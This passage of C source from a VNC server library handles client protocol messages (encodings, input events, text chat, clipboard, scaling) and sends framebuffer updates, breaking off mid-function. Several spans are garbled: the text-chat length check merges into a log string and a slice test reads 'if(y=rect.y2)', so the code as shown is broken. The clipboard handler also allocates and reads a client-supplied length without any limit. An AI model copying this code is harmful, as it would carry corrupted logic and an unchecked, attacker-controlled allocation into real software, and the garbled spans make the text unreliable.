0x0F]; rfbLog("Using JPEG subsampling %d, Q%d for client %s\n", cl->turboSubsampLevel, cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingFineQualityLevel0 + 1 && enc <= (uint32_t)rfbEncodingFineQualityLevel100 ) { cl->turboQualityLevel = enc & 0xFF; rfbLog("Using fine quality level %d for client %s\n", cl->turboQualityLevel, cl->host); } else if ( enc >= (uint32_t)rfbEncodingSubsamp1X && enc <= (uint32_t)rfbEncodingSubsampGray ) { cl->turboSubsampLevel = enc & 0xFF; rfbLog("Using subsampling level %d for client %s\n", cl->turboSubsampLevel, cl->host); #endif } else #endif { rfbExtensionData* e; for(e = cl->extensions; e;) { rfbExtensionData* next = e->next; if(e->extension->enablePseudoEncoding && e->extension->enablePseudoEncoding(cl, &e->data, (int)enc)) /* ext handles this encoding */ break; e = next; } if(e == NULL) { rfbBool handled = FALSE; /* if the pseudo encoding is not handled by the enabled extensions, search through all extensions. */ rfbProtocolExtension* e; for(e = rfbGetExtensionIterator(); e;) { int* encs = e->pseudoEncodings; while(encs && *encs!=0) { if(*encs==(int)enc) { void* data = NULL; if(!e->enablePseudoEncoding(cl, &data, (int)enc)) { rfbLog("Installed extension pretends to handle pseudo encoding 0x%x, but does not!\n",(int)enc); } else { rfbEnableExtension(cl, e, data); handled = TRUE; e = NULL; break; } } encs++; } if(e) e = e->next; } rfbReleaseExtensionIterator(); if(!handled) rfbLog("rfbProcessClientNormalMessage: " "ignoring unsupported encoding type %s\n", encodingName(enc,encBuf,sizeof(encBuf))); } } } } if (cl->preferredEncoding == -1) { if (lastPreferredEncoding==-1) { cl->preferredEncoding = rfbEncodingRaw; rfbLog("Defaulting to %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { cl->preferredEncoding = lastPreferredEncoding; rfbLog("Sticking with %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } } else { if (lastPreferredEncoding==-1) { rfbLog("Using %s encoding for client %s\n", encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)),cl->host); } else { rfbLog("Switching from %s to %s Encoding for client %s\n", encodingName(lastPreferredEncoding,encBuf2,sizeof(encBuf2)), encodingName(cl->preferredEncoding,encBuf,sizeof(encBuf)), cl->host); } } if (cl->enableCursorPosUpdates && !cl->enableCursorShapeUpdates) { rfbLog("Disabling cursor position updates for client %s\n", cl->host); cl->enableCursorPosUpdates = FALSE; } return; } case rfbFramebufferUpdateRequest: { sraRegionPtr tmpRegion; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFramebufferUpdateRequestMsg-1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbFramebufferUpdateRequestMsg,sz_rfbFramebufferUpdateRequestMsg); /* The values come in based on the scaled screen, we need to convert them to * values based on the main screen's coordinate system */ if(!rectSwapIfLEAndClip(&msg.fur.x,&msg.fur.y,&msg.fur.w,&msg.fur.h,cl)) { rfbLog("Warning, ignoring rfbFramebufferUpdateRequest: %dXx%dY-%dWx%dH\n",msg.fur.x, msg.fur.y, msg.fur.w, msg.fur.h); return; } tmpRegion = sraRgnCreateRect(msg.fur.x, msg.fur.y, msg.fur.x+msg.fur.w, msg.fur.y+msg.fur.h); LOCK(cl->updateMutex); sraRgnOr(cl->requestedRegion,tmpRegion); if (!cl->readyForSetColourMapEntries) { /* client hasn't sent a SetPixelFormat so is using server's */ cl->readyForSetColourMapEntries = TRUE; if (!cl->format.trueColour) { if (!rfbSetClientColourMap(cl, 0, 0)) { sraRgnDestroy(tmpRegion); TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); return; } } } if (!msg.fur.incremental) { sraRgnOr(cl->modifiedRegion,tmpRegion); sraRgnSubtract(cl->copyRegion,tmpRegion); } TSIGNAL(cl->updateCond); UNLOCK(cl->updateMutex); sraRgnDestroy(tmpRegion); return; } case rfbKeyEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbKeyEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbKeyEventMsg, sz_rfbKeyEventMsg); if(!cl->viewOnly) { cl->screen->kbdAddEvent(msg.ke.down, (rfbKeySym)Swap32IfLE(msg.ke.key), cl); } return; case rfbPointerEvent: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbPointerEventMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbPointerEventMsg, sz_rfbPointerEventMsg); if (cl->screen->pointerClient && cl->screen->pointerClient != cl) return; if (msg.pe.buttonMask == 0) cl->screen->pointerClient = NULL; else cl->screen->pointerClient = cl; if(!cl->viewOnly) { if (msg.pe.buttonMask != cl->lastPtrButtons || cl->screen->deferPtrUpdateTime == 0) { cl->screen->ptrAddEvent(msg.pe.buttonMask, ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)), ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)), cl); cl->lastPtrButtons = msg.pe.buttonMask; } else { cl->lastPtrX = ScaleX(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.x)); cl->lastPtrY = ScaleY(cl->scaledScreen, cl->screen, Swap16IfLE(msg.pe.y)); cl->lastPtrButtons = msg.pe.buttonMask; } } return; case rfbFileTransfer: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbFileTransferMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.ft.size = Swap32IfLE(msg.ft.size); msg.ft.length = Swap32IfLE(msg.ft.length); /* record statistics in rfbProcessFileTransfer as length is filled with garbage when it is not valid */ rfbProcessFileTransfer(cl, msg.ft.contentType, msg.ft.contentParam, msg.ft.size, msg.ft.length); return; case rfbSetSW: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetSWMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.sw.x = Swap16IfLE(msg.sw.x); msg.sw.y = Swap16IfLE(msg.sw.y); rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetSWMsg, sz_rfbSetSWMsg); /* msg.sw.status is not initialized in the ultraVNC viewer and contains random numbers (why???) */ rfbLog("Received a rfbSetSingleWindow(%d x, %d y)\n", msg.sw.x, msg.sw.y); if (cl->screen->setSingleWindow!=NULL) cl->screen->setSingleWindow(cl, msg.sw.x, msg.sw.y); return; case rfbSetServerInput: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetServerInputMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetServerInputMsg, sz_rfbSetServerInputMsg); /* msg.sim.pad is not initialized in the ultraVNC viewer and contains random numbers (why???) */ /* msg.sim.pad = Swap16IfLE(msg.sim.pad); */ rfbLog("Received a rfbSetServerInput(%d status)\n", msg.sim.status); if (cl->screen->setServerInput!=NULL) cl->screen->setServerInput(cl, msg.sim.status); return; case rfbTextChat: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbTextChatMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.tc.pad2 = Swap16IfLE(msg.tc.pad2); msg.tc.length = Swap32IfLE(msg.tc.length); switch (msg.tc.length) { case rfbTextChatOpen: case rfbTextChatClose: case rfbTextChatFinished: /* commands do not have text following */ /* Why couldn't they have used the pad byte??? */ str=NULL; rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbTextChatMsg, sz_rfbTextChatMsg); break; default: if ((msg.tc.length>0) && (msg.tc.length%d\n", msg.tc.length, rfbTextMaxSize); rfbCloseClient(cl); return; } } /* Note: length can be commands: rfbTextChatOpen, rfbTextChatClose, and rfbTextChatFinished * at which point, the str is NULL (as it is not sent) */ if (cl->screen->setTextChat!=NULL) cl->screen->setTextChat(cl, msg.tc.length, str); free(str); return; case rfbClientCutText: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbClientCutTextMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } msg.cct.length = Swap32IfLE(msg.cct.length); str = (char *)malloc(msg.cct.length); if (str == NULL) { rfbLogPerror("rfbProcessClientNormalMessage: not enough memory"); rfbCloseClient(cl); return; } if ((n = rfbReadExact(cl, str, msg.cct.length)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); free(str); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbClientCutTextMsg+msg.cct.length, sz_rfbClientCutTextMsg+msg.cct.length); if(!cl->viewOnly) { cl->screen->setXCutText(str, msg.cct.length, cl); } free(str); return; case rfbPalmVNCSetScaleFactor: cl->PalmVNC = TRUE; if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbSetScale: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbSetScaleMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } if (msg.ssc.scale == 0) { rfbLogPerror("rfbProcessClientNormalMessage: will not accept a scale factor of zero"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbSetScaleMsg, sz_rfbSetScaleMsg); rfbLog("rfbSetScale(%d)\n", msg.ssc.scale); rfbScalingSetup(cl,cl->screen->width/msg.ssc.scale, cl->screen->height/msg.ssc.scale); rfbSendNewScaleSize(cl); return; case rfbXvp: if ((n = rfbReadExact(cl, ((char *)&msg) + 1, sz_rfbXvpMsg - 1)) <= 0) { if (n != 0) rfbLogPerror("rfbProcessClientNormalMessage: read"); rfbCloseClient(cl); return; } rfbStatRecordMessageRcvd(cl, msg.type, sz_rfbXvpMsg, sz_rfbXvpMsg); /* only version when is defined, so echo back a fail */ if(msg.xvp.version != 1) { rfbSendXvp(cl, msg.xvp.version, rfbXvp_Fail); } else { /* if the hook exists and fails, send a fail msg */ if(cl->screen->xvpHook && !cl->screen->xvpHook(cl, msg.xvp.version, msg.xvp.code)) rfbSendXvp(cl, 1, rfbXvp_Fail); } return; default: { rfbExtensionData *e,*next; for(e=cl->extensions; e;) { next = e->next; if(e->extension->handleMessage && e->extension->handleMessage(cl, e->data, &msg)) { rfbStatRecordMessageRcvd(cl, msg.type, 0, 0); /* Extension should handle this */ return; } e = next; } rfbLog("rfbProcessClientNormalMessage: unknown message type %d\n", msg.type); rfbLog(" ... closing connection\n"); rfbCloseClient(cl); return; } } } /* * rfbSendFramebufferUpdate - send the currently pending framebuffer update to * the RFB client. * givenUpdateRegion is not changed. */ rfbBool rfbSendFramebufferUpdate(rfbClientPtr cl, sraRegionPtr givenUpdateRegion) { sraRectangleIterator* i=NULL; sraRect rect; int nUpdateRegionRects; rfbFramebufferUpdateMsg *fu = (rfbFramebufferUpdateMsg *)cl->updateBuf; sraRegionPtr updateRegion,updateCopyRegion,tmpRegion; int dx, dy; rfbBool sendCursorShape = FALSE; rfbBool sendCursorPos = FALSE; rfbBool sendKeyboardLedState = FALSE; rfbBool sendSupportedMessages = FALSE; rfbBool sendSupportedEncodings = FALSE; rfbBool sendServerIdentity = FALSE; rfbBool result = TRUE; if(cl->screen->displayHook) cl->screen->displayHook(cl); /* * If framebuffer size was changed and the client supports NewFBSize * encoding, just send NewFBSize marker and return. */ if (cl->useNewFBSize && cl->newFBSizePending) { LOCK(cl->updateMutex); cl->newFBSizePending = FALSE; UNLOCK(cl->updateMutex); fu->type = rfbFramebufferUpdate; fu->nRects = Swap16IfLE(1); cl->ublen = sz_rfbFramebufferUpdateMsg; if (!rfbSendNewFBSize(cl, cl->scaledScreen->width, cl->scaledScreen->height)) { if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, FALSE); return FALSE; } result = rfbSendUpdateBuf(cl); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * If this client understands cursor shape updates, cursor should be * removed from the framebuffer. Otherwise, make sure it's put up. */ if (cl->enableCursorShapeUpdates) { if (cl->cursorWasChanged && cl->readyForSetColourMapEntries) sendCursorShape = TRUE; } /* * Do we plan to send cursor position update? */ if (cl->enableCursorPosUpdates && cl->cursorWasMoved) sendCursorPos = TRUE; /* * Do we plan to send a keyboard state update? */ if ((cl->enableKeyboardLedState) && (cl->screen->getKeyboardLedStateHook!=NULL)) { int x; x=cl->screen->getKeyboardLedStateHook(cl->screen); if (x!=cl->lastKeyboardLedState) { sendKeyboardLedState = TRUE; cl->lastKeyboardLedState=x; } } /* * Do we plan to send a rfbEncodingSupportedMessages? */ if (cl->enableSupportedMessages) { sendSupportedMessages = TRUE; /* We only send this message ONCE * (We disable it here) */ cl->enableSupportedMessages = FALSE; } /* * Do we plan to send a rfbEncodingSupportedEncodings? */ if (cl->enableSupportedEncodings) { sendSupportedEncodings = TRUE; /* We only send this message ONCE * (We disable it here) */ cl->enableSupportedEncodings = FALSE; } /* * Do we plan to send a rfbEncodingServerIdentity? */ if (cl->enableServerIdentity) { sendServerIdentity = TRUE; /* We only send this message ONCE * (We disable it here) */ cl->enableServerIdentity = FALSE; } LOCK(cl->updateMutex); /* * The modifiedRegion may overlap the destination copyRegion. We remove * any overlapping bits from the copyRegion (since they'd only be * overwritten anyway). */ sraRgnSubtract(cl->copyRegion,cl->modifiedRegion); /* * The client is interested in the region requestedRegion. The region * which should be updated now is the intersection of requestedRegion * and the union of modifiedRegion and copyRegion. If it's empty then * no update is needed. */ updateRegion = sraRgnCreateRgn(givenUpdateRegion); if(cl->screen->progressiveSliceHeight>0) { int height=cl->screen->progressiveSliceHeight, y=cl->progressiveSliceY; sraRegionPtr bbox=sraRgnBBox(updateRegion); sraRect rect; if(sraRgnPopRect(bbox,&rect,0)) { sraRegionPtr slice; if(y=rect.y2) y=rect.y1; slice=sraRgnCreateRect(0,y,cl->screen->width,y+height); sraRgnAnd(updateRegion,slice); sraRgnDestroy(slice); } sraRgnDestroy(bbox); y+=height; if(y>=cl->screen->height) y=0; cl->progressiveSliceY=y; } sraRgnOr(updateRegion,cl->copyRegion); if(!sraRgnAnd(updateRegion,cl->requestedRegion) && sraRgnEmpty(updateRegion) && (cl->enableCursorShapeUpdates || (cl->cursorX == cl->screen->cursorX && cl->cursorY == cl->screen->cursorY)) && !sendCursorShape && !sendCursorPos && !sendKeyboardLedState && !sendSupportedMessages && !sendSupportedEncodings && !sendServerIdentity) { sraRgnDestroy(updateRegion); UNLOCK(cl->updateMutex); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, TRUE); return TRUE; } /* * We assume that the client doesn't have any pixel data outside the * requestedRegion. In other words, both the source and destination of a * copy must lie within requestedRegion. So the region we can send as a * copy is the intersection of the copyRegion with both the requestedRegion * and the requestedRegion translated by the amount of the copy. We set * updateCopyRegion to this. */ updateCopyRegion = sraRgnCreateRgn(cl->copyRegion); sraRgnAnd(updateCopyRegion,cl->requestedRegion); tmpRegion = sraRgnCreateRgn(cl->requestedRegion); sraRgnOffset(tmpRegion,cl->copyDX,cl->copyDY); sraRgnAnd(updateCopyRegion,tmpRegion); sraRgnDestroy(tmpRegion); dx = cl->copyDX; dy = cl->copyDY; /* * Next we remove updateCopyRegion from updateRegion so that updateRegion * is the part of this update which is sent as ordinary pixel data (i.e not * a copy). */ sraRgnSubtract(updateRegion,updateCopyRegion); /* * Finally we leave modifiedRegion to be the remainder (if any) of parts of * the screen which are modified but outside the requestedRegion. We also * empty both the requestedRegion and the copyRegion - note that we never * carry over a copyRegion for a future update. */ sraRgnOr(cl->modifiedRegion,cl->copyRegion); sraRgnSubtract(cl->modifiedRegion,updateRegion); sraRgnSubtract(cl->modifiedRegion,updateCopyRegion); sraRgnMakeEmpty(cl->requestedRegion); sraRgnMakeEmpty(cl->copyRegion); cl->copyDX = 0; cl->copyDY = 0; UNLOCK(cl->updateMutex); if (!cl->enableCursorShapeUpdates) { if(cl->cursorX != cl->screen->cursorX || cl->cursorY != cl->screen->cursorY) { rfbRedrawAfterHideCursor(cl,updateRegion); LOCK(cl->screen->cursorMutex); cl->cursorX = cl->screen->cursorX; cl->cursorY = cl->screen->cursorY; UNLOCK(cl->screen->cursorMutex); rfbRedrawAfterHideCursor(cl,updateRegion); } rfbShowCursor(cl); } /* * Now send the update. */ rfbStatRecordMessageSent(cl, rfbFramebufferUpdate, 0, 0); if (cl->preferredEncoding == rfbEncodingCoRRE) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int rectsPerRow, rows; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); rectsPerRow = (w-1)/cl->correMaxWidth+1; rows = (h-1)/cl->correMaxHeight+1; nUpdateRegionRects += rectsPerRow*rows; } sraRgnReleaseIterator(i); i=NULL; } else if (cl->preferredEncoding == rfbEncodingUltra) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ULTRA_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBZ } else if (cl->preferredEncoding == rfbEncodingZlib) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); nUpdateRegionRects += (((h-1) / (ZLIB_MAX_SIZE( w ) / w)) + 1); } sraRgnReleaseIterator(i); i=NULL; #ifdef LIBVNCSERVER_HAVE_LIBJPEG } else if (cl->preferredEncoding == rfbEncodingTight) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && defined(LIBVNCSERVER_HAVE_LIBPNG) } else if (cl->preferredEncoding == rfbEncodingTightPng) { nUpdateRegionRects = 0; for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; int n; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); n = rfbNumCodedRectsTight(cl, x, y, w, h); if (n == 0) { nUpdateRegionRects = 0xFFFF; break; } nUpdateRegionRects += n; } sraRgnReleaseIterator(i); i=NULL; #endif } else { nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->type = rfbFramebufferUpdate; if (nUpdateRegionRects != 0xFFFF) { if(cl->screen->maxRectsPerUpdate>0 /* CoRRE splits the screen into smaller squares */ && cl->preferredEncoding != rfbEncodingCoRRE /* Ultra encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingUltra #ifdef LIBVNCSERVER_HAVE_LIBZ /* Zlib encoding splits rectangles up into smaller chunks */ && cl->preferredEncoding != rfbEncodingZlib #ifdef LIBVNCSERVER_HAVE_LIBJPEG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTight #endif #endif #ifdef LIBVNCSERVER_HAVE_LIBPNG /* Tight encoding counts the rectangles differently */ && cl->preferredEncoding != rfbEncodingTightPng #endif && nUpdateRegionRects>cl->screen->maxRectsPerUpdate) { sraRegion* newUpdateRegion = sraRgnBBox(updateRegion); sraRgnDestroy(updateRegion); updateRegion = newUpdateRegion; nUpdateRegionRects = sraRgnCountRects(updateRegion); } fu->nRects = Swap16IfLE((uint16_t)(sraRgnCountRects(updateCopyRegion) + nUpdateRegionRects + !!sendCursorShape + !!sendCursorPos + !!sendKeyboardLedState + !!sendSupportedMessages + !!sendSupportedEncodings + !!sendServerIdentity)); } else { fu->nRects = 0xFFFF; } cl->ublen = sz_rfbFramebufferUpdateMsg; if (sendCursorShape) { cl->cursorWasChanged = FALSE; if (!rfbSendCursorShape(cl)) goto updateFailed; } if (sendCursorPos) { cl->cursorWasMoved = FALSE; if (!rfbSendCursorPos(cl)) goto updateFailed; } if (sendKeyboardLedState) { if (!rfbSendKeyboardLedState(cl)) goto updateFailed; } if (sendSupportedMessages) { if (!rfbSendSupportedMessages(cl)) goto updateFailed; } if (sendSupportedEncodings) { if (!rfbSendSupportedEncodings(cl)) goto updateFailed; } if (sendServerIdentity) { if (!rfbSendServerIdentity(cl)) goto updateFailed; } if (!sraRgnEmpty(updateCopyRegion)) { if (!rfbSendCopyRegion(cl,updateCopyRegion,dx,dy)) goto updateFailed; } for(i = sraRgnGetIterator(updateRegion); sraRgnIteratorNext(i,&rect);){ int x = rect.x1; int y = rect.y1; int w = rect.x2 - x; int h = rect.y2 - y; /* We need to count the number of rects in the scaled screen */ if (cl->screen!=cl->scaledScreen) rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "rfbSendFramebufferUpdate"); switch (cl->preferredEncoding) { case -1: case rfbEncodingRaw: if (!rfbSendRectEncodingRaw(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingRRE: if (!rfbSendRectEncodingRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingCoRRE: if (!rfbSendRectEncodingCoRRE(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingHextile: if (!rfbSendRectEncodingHextile(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingUltra: if (!rfbSendRectEncodingUltra(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBZ case rfbEncodingZlib: if (!rfbSendRectEncodingZlib(cl, x, y, w, h)) goto updateFailed; break; case rfbEncodingZRLE: case rfbEncodingZYWRLE: if (!rfbSendRectEncodingZRLE(cl, x, y, w, h)) goto updateFailed; break; #endif #if defined(LIBVNCSERVER_HAVE_LIBJPEG) && (defined(LIBVNCSERVER_HAVE_LIBZ) || defined(LIBVNCSERVER_HAVE_LIBPNG)) case rfbEncodingTight: if (!rfbSendRectEncodingTight(cl, x, y, w, h)) goto updateFailed; break; #ifdef LIBVNCSERVER_HAVE_LIBPNG case rfbEncodingTightPng: if (!rfbSendRectEncodingTightPng(cl, x, y, w, h)) goto updateFailed; break; #endif #endif } } if (i) { sraRgnReleaseIterator(i); i = NULL; } if ( nUpdateRegionRects == 0xFFFF && !rfbSendLastRectMarker(cl) ) goto updateFailed; if (!rfbSendUpdateBuf(cl)) { updateFailed: result = FALSE; } if (!cl->enableCursorShapeUpdates) { rfbHideCursor(cl); } if(i) sraRgnReleaseIterator(i); sraRgnDestroy(updateRegion); sraRgnDestroy(updateCopyRegion); if(cl->screen->displayFinishedHook) cl->screen->displayFinishedHook(cl, result); return result; } /* * Send the copy region as a string of CopyRect encoded rectangles. * The only slightly tricky thing is that we should send the messages in * the correct order so that an earlier CopyRect will not corrupt the source * of a later one. */ rfbBool rfbSendCopyRegion(rfbClientPtr cl, sraRegionPtr reg, int dx, int dy) { int x, y, w, h; rfbFramebufferUpdateRectHeader rect; rfbCopyRect cr; sraRectangleIterator* i; sraRect rect1; /* printf("copyrect: "); sraRgnPrint(reg); putchar('\n');fflush(stdout); */ i = sraRgnGetReverseIterator(reg,dx>0,dy>0); /* correct for the scale of the screen */ dx = ScaleX(cl->screen, cl->scaledScreen, dx); dy = ScaleX(cl->screen, cl->scaledScreen, dy); while(sraRgnIteratorNext(i,&rect1)) { x = rect1.x1; y = rect1.y1; w = rect1.x2 - x; h = rect1.y2 - y; /* correct for scaling (if necessary) */ rfbScaledCorrection(cl->screen, cl->scaledScreen, &x, &y, &w, &h, "copyrect"); rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingCopyRect); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; cr.srcX = Swap16IfLE(x - dx); cr.srcY = Swap16IfLE(y - dy); memcpy(&cl->updateBuf[cl->ublen], (char *)&cr, sz_rfbCopyRect); cl->ublen += sz_rfbCopyRect; rfbStatRecordEncodingSent(cl, rfbEncodingCopyRect, sz_rfbFramebufferUpdateRectHeader + sz_rfbCopyRect, w * h * (cl->scaledScreen->bitsPerPixel / 8)); } sraRgnReleaseIterator(i); return TRUE; } /* * Send a given rectangle in raw encoding (rfbEncodingRaw). */ rfbBool rfbSendRectEncodingRaw(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; int nlines; int bytesPerLine = w * (cl->format.bitsPerPixel / 8); char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); /* Flush the buffer to guarantee correct alignment for translateFn(). */ if (cl->ublen > 0) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingRaw); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingRaw, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h, sz_rfbFramebufferUpdateRectHeader + bytesPerLine * h); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; while (TRUE) { if (nlines > h) nlines = h; (*cl->translateFn)(cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format, fbptr, &cl->updateBuf[cl->ublen], cl->scaledScreen->paddedWidthInBytes, w, nlines); cl->ublen += nlines * bytesPerLine; h -= nlines; if (h == 0) /* rect fitted in buffer, do next one */ return TRUE; /* buffer full - flush partial rect and do another nlines */ if (!rfbSendUpdateBuf(cl)) return FALSE; fbptr += (cl->scaledScreen->paddedWidthInBytes * nlines); nlines = (UPDATE_BUF_SIZE - cl->ublen) / bytesPerLine; if (nlines == 0) { rfbErr("rfbSendRectEncodingRaw: send buffer too small for %d " "bytes per line\n", bytesPerLine); rfbCloseClient(cl); return FALSE; } } } /* * Send an empty rectangle with encoding field set to value of * rfbEncodingLastRect to notify client that this is the last * rectangle in framebuffer update ("LastRect" extension of RFB * protocol). */ rfbBool rfbSendLastRectMarker(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingLastRect); rect.r.x = 0; rect.r.y = 0; rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingLastRect, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); return TRUE; } /* * Send NewFBSize pseudo-rectangle. This tells the client to change * its framebuffer size. */ rfbBool rfbSendNewFBSize(rfbClientPtr cl, int w, int h) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } if (cl->PalmVNC==TRUE) rfbLog("Sending 